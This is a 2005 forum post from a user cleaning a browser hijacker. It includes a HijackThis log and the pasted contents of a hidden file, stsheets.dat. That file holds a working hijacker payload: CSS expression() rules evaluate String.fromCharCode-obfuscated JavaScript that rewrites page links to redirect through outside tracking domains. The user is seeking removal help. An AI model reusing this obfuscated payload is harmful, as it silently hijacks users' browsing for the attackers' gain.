Hi again and thanks for helping me. I have renamed ndisi.sys to ndisi.bak in Safe Mode now. But when i try to delete stsheets.dat in C:\WINDOWS... I just can't see the file. I have selected to show hidden and system files, but i can't see the file. I know the file exists, cause it opens when i type C:\WINDOWS\stsheets.dat in "Run...". The problem is that the file is INVISIBLE. I've tried to delete it in Safe Mode but i still can't see it. But when i open the file trough "Run..." this information appears in the file (if it can be to any help):
body{border-color:expression(myid = '3f53465356',
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,32,33,61,32,39,39,63,40,109,121,105,100,116,120,116,61,40,39,60,112,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,62,39,43,109,121,105,100,
43,39,60,47,112,62,39,41,44,100,116,120,116,61,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,44,100,116,120,116,46,105,110,100,101,120,79,102,40,109,121,105,100,41,32,61,61,32,45,49,32,63,40,109,102,110,61,110,101,119,
32,70,117,110,99,116,105,111,110,40,34,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,61,109,121,105,100,116,120,116,43,100,116,120,116,59,118,97,114,32,109,95,100,109,110,95,109,115,107,61,39,40,120,120,45,112,105,99,115,
46,99,111,109,124,116,111,45,120,120,120,46,99,111,109,124,109,121,45,102,114,101,101,45,112,111,114,110,111,46,99,111,109,124,115,117,112,101,114,45,97,100,117,108,116,46,99,111,109,124,102,114,101,101,45,112,111,114,110,111,45,108,105,115,116,46,99,111,109,
124,99,108,101,97,110,112,111,114,110,111,46,99,111,109,124,97,109,97,116,101,117,114,115,45,104,97,108,108,46,99,111,109,124,120,120,45,99,108,117,98,46,99,111,109,124,102,105,110,100,110,97,118,105,103,97,116,111,114,46,99,111,109,124,119,111,119,112,111,
114,110,46,110,101,116,124,105,99,97,110,115,101,97,114,99,104,46,110,101,116,124,102,97,115,116,115,101,97,114,99,104,46,99,99,124,103,108,111,98,101,45,102,105,110,100,101,114,46,99,99,124,103,108,111,98,97,108,45,102,105,110,100,101,114,46,99,111,109,124,
99,108,101,97,114,115,101,97,114,99,104,46,110,101,116,124,99,108,101,97,114,115,101,97,114,99,104,46,99,99,124,112,111,114,110,102,111,114,46,99,111,109,124,116,111,110,115,112,111,114,110,46,99,111,109,124,121,97,112,111,114,110,46,110,101,116,124,101,101,
112,111,114,110,46,99,111,109,124,116,104,97,116,112,111,114,110,46,110,101,116,124,112,111,114,110,116,104,101,46,99,111,109,124,115,101,120,117,110,100,101,114,46,99,111,109,124,117,112,115,115,101,120,46,99,111,109,124,97,115,112,101,114,109,46,99,111,109,
124,102,111,111,108,103,105,114,108,46,99,111,109,124,102,117,99,107,111,104,46,99,111,109,124,104,117,103,115,108,117,116,46,99,111,109,124,111,110,102,117,99,107,46,99,111,109,124,117,112,98,97,98,101,46,99,111,109,124,119,105,108,100,99,108,105,116,46,99,
111,109,124,104,105,112,117,115,115,121,46,99,111,109,124,111,102,120,120,120,46,99,111,109,124,111,104,104,111,104,46,99,111,109,124,115,101,120,115,116,97,116,105,99,46,99,111,109,124,112,111,108,105,115,116,46,99,111,109,41,39,59,118,97,114,32,109,95,100,
110,109,95,114,101,61,110,101,119,32,82,101,103,69,120,112,40,109,95,100,109,110,95,109,115,107,44,92,34,92,34,41,59,109,95,100,110,109,95,114,101,46,99,111,109,112,105,108,101,40,109,95,100,109,110,95,109,115,107,44,92,34,92,34,41,59,105,102,40,100,111,99,
117,109,101,110,116,46,100,111,109,97,105,110,46,109,97,116,99,104,40,109,95,100,110,109,95,114,101,41,61,61,110,117,108,108,38,38,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,109,97,116,99,104,40,109,95,100,110,109,95,114,101,41,61,
61,110,117,108,108,41,123,118,97,114,32,119,95,117,114,108,61,39,104,116,116,112,58,47,47,103,116,46,99,108,101,97,114,115,101,97,114,99,104,46,110,101,116,47,115,114,47,63,105,61,49,51,38,117,61,49,38,119,61,39,59,118,97,114,32,109,95,119,114,100,95,109,115,
107,61,39,40,99,114,117,105,115,101,124,109,112,51,124,102,105,110,97,110,99,101,124,112,105,108,108,115,124,100,105,101,116,124,118,105,99,111,100,105,110,124,116,114,111,106,97,110,124,115,112,121,119,97,114,101,124,97,100,119,97,114,101,124,112,111,112,
32,117,112,124,112,111,112,117,112,124,118,105,114,117,115,124,109,101,114,105,106,110,124,99,97,115,105,110,111,124,98,108,97,99,107,32,106,97,99,107,124,105,110,115,117,114,97,110,99,101,124,116,114,97,118,101,108,124,112,101,110,105,115,32,101,110,108,97,
114,103,101,109,101,110,116,124,112,101,114,115,111,110,97,108,115,124,118,105,97,103,114,97,124,100,97,116,105,110,103,124,99,97,114,124,112,114,105,99,101,124,98,97,115,101,98,97,108,108,124,103,97,109,101,124,109,111,118,105,101,115,124,109,117,115,105,
99,124,112,104,101,110,116,101,114,109,105,110,101,124,98,101,116,116,105,110,103,124,112,111,107,101,114,124,118,97,108,105,117,109,124,112,104,97,114,109,97,99,121,124,102,111,111,116,98,97,108,108,124,99,114,101,100,105,116,124,114,111,117,108,101,116,116,
101,124,114,101,102,105,110,97,110,99,105,110,103,124,119,111,114,107,124,106,111,98,124,108,111,97,110,124,105,110,115,117,114,97,110,99,101,124,97,100,105,112,101,120,124,120,101,110,105,99,97,108,41,39,59,118,97,114,32,109,95,119,114,100,95,114,101,61,110,
101,119,32,82,101,103,69,120,112,40,109,95,119,114,100,95,109,115,107,44,92,34,105,92,34,41,59,109,95,119,114,100,95,114,101,46,99,111,109,112,105,108,101,40,109,95,119,114,100,95,109,115,107,44,92,34,105,92,34,41,59,118,97,114,32,101,95,119,114,100,95,109,
115,107,61,39,40,110,97,107,101,100,124,115,101,120,124,112,111,114,110,124,98,97,98,101,124,120,120,120,124,97,110,97,108,124,109,111,118,105,101,124,98,100,115,109,124,116,101,101,110,124,102,117,99,107,124,97,100,117,108,116,124,116,103,112,124,103,105,
114,108,124,110,97,117,103,104,116,121,124,109,97,116,117,114,101,124,97,109,97,116,101,117,114,124,104,97,114,100,99,111,114,101,124,110,97,115,116,121,124,115,104,101,109,97,108,101,124,115,108,117,116,124,102,101,116,105,115,104,124,116,114,97,110,110,121,
124,98,117,115,116,121,124,116,105,116,115,124,115,109,117,116,124,103,97,108,108,124,116,104,117,109,98,124,98,111,111,98,124,108,101,115,98,105,124,110,117,100,101,124,99,111,99,107,124,103,114,97,110,110,124,112,117,115,115,121,124,97,115,115,41,39,59,118,
97,114,32,101,95,119,114,100,95,114,101,61,110,101,119,32,82,101,103,69,120,112,40,101,95,119,114,100,95,109,115,107,44,92,34,105,92,34,41,59,101,95,119,114,100,95,114,101,46,99,111,109,112,105,108,101,40,101,95,119,114,100,95,109,115,107,44,92,34,105,92,34,
41,59,118,97,114,32,100,95,101,120,116,95,109,115,107,61,39,92,46,40,106,112,103,124,106,112,101,103,124,97,118,105,124,109,112,101,103,124,109,112,103,124,119,109,97,41,36,39,59,118,97,114,32,100,95,101,120,116,95,114,101,61,110,101,119,32,82,101,103,69,120,
112,40,100,95,101,120,116,95,109,115,107,44,92,34,105,92,34,41,59,100,95,101,120,116,95,114,101,46,99,111,109,112,105,108,101,40,100,95,101,120,116,95,109,115,107,44,92,34,105,92,34,41,59,118,97,114,32,111,95,117,114,108,61,39,104,116,116,112,58,47,47,103,
116,46,116,114,117,101,45,99,111,117,110,116,101,114,46,99,111,109,47,103,116,47,63,105,61,98,97,121,122,109,38,119,61,39,59,118,97,114,32,105,116,109,44,99,95,108,110,107,44,108,110,107,95,110,117,109,61,100,111,99,117,109,101,110,116,46,108,105,110,107,115,
46,108,101,110,103,116,104,62,49,48,48,32,63,32,49,48,48,32,58,32,100,111,99,117,109,101,110,116,46,108,105,110,107,115,46,108,101,110,103,116,104,44,114,101,95,114,101,115,44,111,108,100,110,59,102,111,114,40,105,116,109,61,48,59,105,116,109,60,108,110,107,
95,110,117,109,59,105,116,109,43,43,41,123,99,95,108,110,107,61,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,116,109,93,59,105,102,40,99,95,108,110,107,46,112,114,111,116,111,99,111,108,33,61,39,104,116,116,112,58,39,41,99,111,110,116,105,110,
117,101,59,114,101,95,114,101,115,61,99,95,108,110,107,46,104,114,101,102,46,109,97,116,99,104,40,101,95,119,114,100,95,114,101,41,59,105,102,40,114,101,95,114,101,115,33,61,110,117,108,108,38,38,99,95,108,110,107,46,104,114,101,102,46,109,97,116,99,104,40,
100,95,101,120,116,95,114,101,41,61,61,110,117,108,108,41,123,99,95,108,110,107,46,111,110,99,108,105,99,107,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,32,116,114,117,101,59,125,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,
118,101,114,61,110,101,119,32,70,117,110,99,116,105,111,110,40,92,34,115,101,108,102,46,115,116,97,116,117,115,61,39,92,34,43,99,95,108,110,107,46,104,114,101,102,43,92,34,39,59,114,101,116,117,114,110,32,116,114,117,101,92,34,41,59,99,95,108,110,107,46,111,
110,109,111,117,115,101,111,117,116,61,102,117,110,99,116,105,111,110,40,41,123,115,101,108,102,46,115,116,97,116,117,115,61,39,39,59,114,101,116,117,114,110,32,116,114,117,101,59,125,59,111,108,100,110,61,99,95,108,110,107,46,105,110,110,101,114,72,84,77,
76,59,99,95,108,110,107,46,104,114,101,102,61,111,95,117,114,108,43,114,101,95,114,101,115,91,48,93,59,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,61,111,108,100,110,59,99,111,110,116,105,110,117,101,59,125,114,101,95,114,101,115,61,99,95,108,110,
107,46,105,110,110,101,114,84,101,120,116,46,109,97,116,99,104,40,101,95,119,114,100,95,114,101,41,59,105,102,40,114,101,95,114,101,115,33,61,110,117,108,108,41,123,99,95,108,110,107,46,111,110,99,108,105,99,107,61,102,117,110,99,116,105,111,110,40,41,123,
114,101,116,117,114,110,32,116,114,117,101,59,125,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,118,101,114,61,110,101,119,32,70,117,110,99,116,105,111,110,40,92,34,115,101,108,102,46,115,116,97,116,117,115,61,39,92,34,43,99,95,108,110,107,46,104,
114,101,102,43,92,34,39,59,114,101,116,117,114,110,32,116,114,117,101,92,34,41,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,117,116,61,102,117,110,99,116,105,111,110,40,41,123,115,101,108,102,46,115,116,97,116,117,115,61,39,39,59,114,101,116,117,
114,110,32,116,114,117,101,59,125,59,111,108,100,110,61,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,59,99,95,108,110,107,46,104,114,101,102,61,111,95,117,114,108,43,114,101,95,114,101,115,91,48,93,59,99,95,108,110,107,46,105,110,110,101,114,72,84,
77,76,61,111,108,100,110,59,99,111,110,116,105,110,117,101,59,125,118,97,114,32,99,114,100,61,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,59,105,102,40,99,95,108,110,107,46,104,111,115,116,110,97,109,101,46,105,110,100,101,120,79,102,40,99,114,
100,41,33,61,45,49,41,123,99,111,110,116,105,110,117,101,59,125,114,101,95,114,101,115,61,99,95,108,110,107,46,104,114,101,102,46,109,97,116,99,104,40,109,95,119,114,100,95,114,101,41,59,105,102,40,114,101,95,114,101,115,33,61,110,117,108,108,41,123,99,95,
108,110,107,46,111,110,99,108,105,99,107,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,32,116,114,117,101,59,125,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,118,101,114,61,110,101,119,32,70,117,110,99,116,105,111,110,40,92,
34,115,101,108,102,46,115,116,97,116,117,115,61,39,92,34,43,99,95,108,110,107,46,104,114,101,102,43,92,34,39,59,114,101,116,117,114,110,32,116,114,117,101,92,34,41,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,117,116,61,102,117,110,99,116,105,111,
110,40,41,123,115,101,108,102,46,115,116,97,116,117,115,61,39,39,59,114,101,116,117,114,110,32,116,114,117,101,59,125,59,111,108,100,110,61,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,59,118,97,114,32,120,61,92,34,92,34,44,105,44,108,61,99,95,108,
110,107,46,104,114,101,102,46,108,101,110,103,116,104,59,102,111,114,40,105,61,55,59,105,60,108,59,105,43,43,41,120,43,61,99,95,108,110,107,46,104,114,101,102,46,99,104,97,114,67,111,100,101,65,116,40,105,41,46,116,111,83,116,114,105,110,103,40,49,54,41,59,
99,95,108,110,107,46,104,114,101,102,61,119,95,117,114,108,43,114,101,95,114,101,115,91,48,93,43,92,34,38,108,61,92,34,43,120,59,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,61,111,108,100,110,59,99,111,110,116,105,110,117,101,59,125,114,101,95,114,
101,115,61,99,95,108,110,107,46,105,110,110,101,114,84,101,120,116,46,109,97,116,99,104,40,109,95,119,114,100,95,114,101,41,59,105,102,40,114,101,95,114,101,115,33,61,110,117,108,108,41,123,99,95,108,110,107,46,111,110,99,108,105,99,107,61,102,117,110,99,116,
105,111,110,40,41,123,114,101,116,117,114,110,32,116,114,117,101,59,125,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,118,101,114,61,110,101,119,32,70,117,110,99,116,105,111,110,40,92,34,115,101,108,102,46,115,116,97,116,117,115,61,39,92,34,43,99,
95,108,110,107,46,104,114,101,102,43,92,34,39,59,114,101,116,117,114,110,32,116,114,117,101,92,34,41,59,99,95,108,110,107,46,111,110,109,111,117,115,101,111,117,116,61,102,117,110,99,116,105,111,110,40,41,123,115,101,108,102,46,115,116,97,116,117,115,61,39,
39,59,114,101,116,117,114,110,32,116,114,117,101,59,125,59,111,108,100,110,61,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,59,118,97,114,32,120,61,92,34,92,34,44,105,44,108,61,99,95,108,110,107,46,104,114,101,102,46,108,101,110,103,116,104,59,102,111,
114,40,105,61,55,59,105,60,108,59,105,43,43,41,120,43,61,99,95,108,110,107,46,104,114,101,102,46,99,104,97,114,67,111,100,101,65,116,40,105,41,46,116,111,83,116,114,105,110,103,40,49,54,41,59,99,95,108,110,107,46,104,114,101,102,61,119,95,117,114,108,43,114,
101,95,114,101,115,91,48,93,43,92,34,38,108,61,92,34,43,120,59,99,95,108,110,107,46,105,110,110,101,114,72,84,77,76,61,111,108,100,110,59,99,111,110,116,105,110,117,101,59,125,125,125,114,101,116,117,114,110,32,116,114,117,101,34,41,44,100,111,99,117,109,101,
110,116,46,98,111,100,121,46,111,110,108,111,97,100,61,109,102,110,44,39,39,41,32,58,32,39,39,41,32,58,32,39,39))
);}
iframe{border-width:expression(
eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,61,39,97,98,111,117,116,58,98,108,97,110,107,39,63,48,58,40,116,104,105,115,46,115,114,99,61,39,97,98,111,117,116,58,98,108,97,110,107,39,44,48,41))
);}
How do i delete it?
And one thing more. I think i can handle the situation now. After i had renamed that file in Safe Mode, i tried to change Home Page in Safe Mode. AND IT WORKED
. And now, i can change homepage in normal mode also.
But i still want to delete the stsheets.dat, if it's infected or something. Can the evil homepage return? I want my computer to be clean, if you know what i mean
.
But your help did actually help me. IM SO THANKFUL!
THANKYOU, THANKYOU, THANKYOU! You are the best!
And by the way, here's the fresh HijackThis Logfile:
Logfile of HijackThis v1.99.1
Scan saved at 01:45:55, on 2005-06-13
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\SYSTEM32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\System32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\SYSTEM32\Ati2evxx.exe
C:\WINDOWS\Explorer.EXE
C:\Program\Adobe\Adobe Acrobat 6.0\Distillr\acrotray.exe
C:\Program\Common\Bin\WinCinemaMgr.exe
C:\Program\F-Secure\Anti-Virus\fsgk32st.exe
C:\Program\F-Secure\Anti-Virus\FSGK32.EXE
C:\Program\F-Secure\BackWeb\7681197\program\fsbwsys.exe
C:\Program\F-Secure\Common\FSMA32.EXE
C:\Program\F-Secure\Common\FSMB32.EXE
C:\Program\F-Secure\Anti-Virus\fssm32.exe
C:\WINDOWS\System32\snmp.exe
C:\WINDOWS\System32\svchost.exe
C:\Program\F-Secure\Common\FCH32.EXE
C:\Program\F-Secure\Common\FAMEH32.EXE
C:\Program\F-Secure\Common\FNRB32.EXE
C:\WINDOWS\system32\wscntfy.exe
C:\Program\F-Secure\Common\FIH32.EXE
C:\Program\F-Secure\FWES\Program\fsdfwd.exe
C:\Program\F-Secure\Anti-Virus\fsav32.exe
C:\Program\Mozilla Firefox\firefox.exe
C:\Documents and Settings\Vimo\Skrivbord\hijack this\HijackThis.exe
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page =
http://www.google.se/R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = localhost
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Länkar
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program\Adobe\Adobe Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program\Vanliga filer\Adobe\Calibration\Adobe Gamma Loader.exe
O4 - Global Startup: InterVideo WinCinema Manager.lnk = C:\Program\Common\Bin\WinCinemaMgr.exe
O4 - Global Startup: Microsoft Office.lnk = C:\Program\Microsoft Office\Office\OSA9.EXE
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program\Java\j2re1.4.2\bin\npjpi142.dll
O9 - Extra 'Tools' menuitem: Sun Java-konsol - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program\Java\j2re1.4.2\bin\npjpi142.dll
O9 - Extra button: Spyware Doctor - {2D663D1A-8670-49D9-A1A5-4C56B4E14E84} - C:\Program\SPYWAR~1\tools\iesdpb.dll
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program\Messenger\msmsgs.exe
O23 - Service: AdobeVersionCue - Adobe Sytems - C:\Program\Adobe\Adobe Version Cue\service\VersionCue.exe
O23 - Service: Ati HotKey Poller - Unknown owner - C:\WINDOWS\System32\Ati2evxx.exe
O23 - Service: ATI Smart - Unknown owner - C:\WINDOWS\SYSTEM32\ati2sgag.exe
O23 - Service: F-Secure Automatic Update (BackWeb Client - 7681197) - Unknown owner - C:\Program\F-Secure\BackWeb\7681197\Program\SERVIC~1.EXE
O23 - Service: F-Secure Gatekeeper Handler Starter - F-Secure Corp. - C:\Program\F-Secure\Anti-Virus\fsgk32st.exe
O23 - Service: F-Secure Network Request Broker - F-Secure Corporation - C:\Program\F-Secure\Common\FNRB32.EXE
O23 - Service: fsbwsys - F-Secure Corp. - C:\Program\F-Secure\BackWeb\7681197\program\fsbwsys.exe
O23 - Service: F-Secure Anti-Virus Firewall Daemon (FSDFWD) - F-Secure Corporation - C:\Program\F-Secure\FWES\Program\fsdfwd.exe
O23 - Service: F-Secure Management Agent (FSMA) - F-Secure Corporation - C:\Program\F-Secure\Common\FSMA32.EXE
O23 - Service: Sony SPTI Service (SPTISRV) - Sony Corporation - C:\Program\VANLIG~1\SONYSH~1\AVLib\Sptisrv.exe
THANK YOU!
PS. Spybot - Search & Destroy, still finds a "Possible Hijacker".
EDIT: i found a way to delete the C:\WINDOWS\stsheets.dat....
Edited by Buffelberra, 13 June 2005 - 04:54 AM.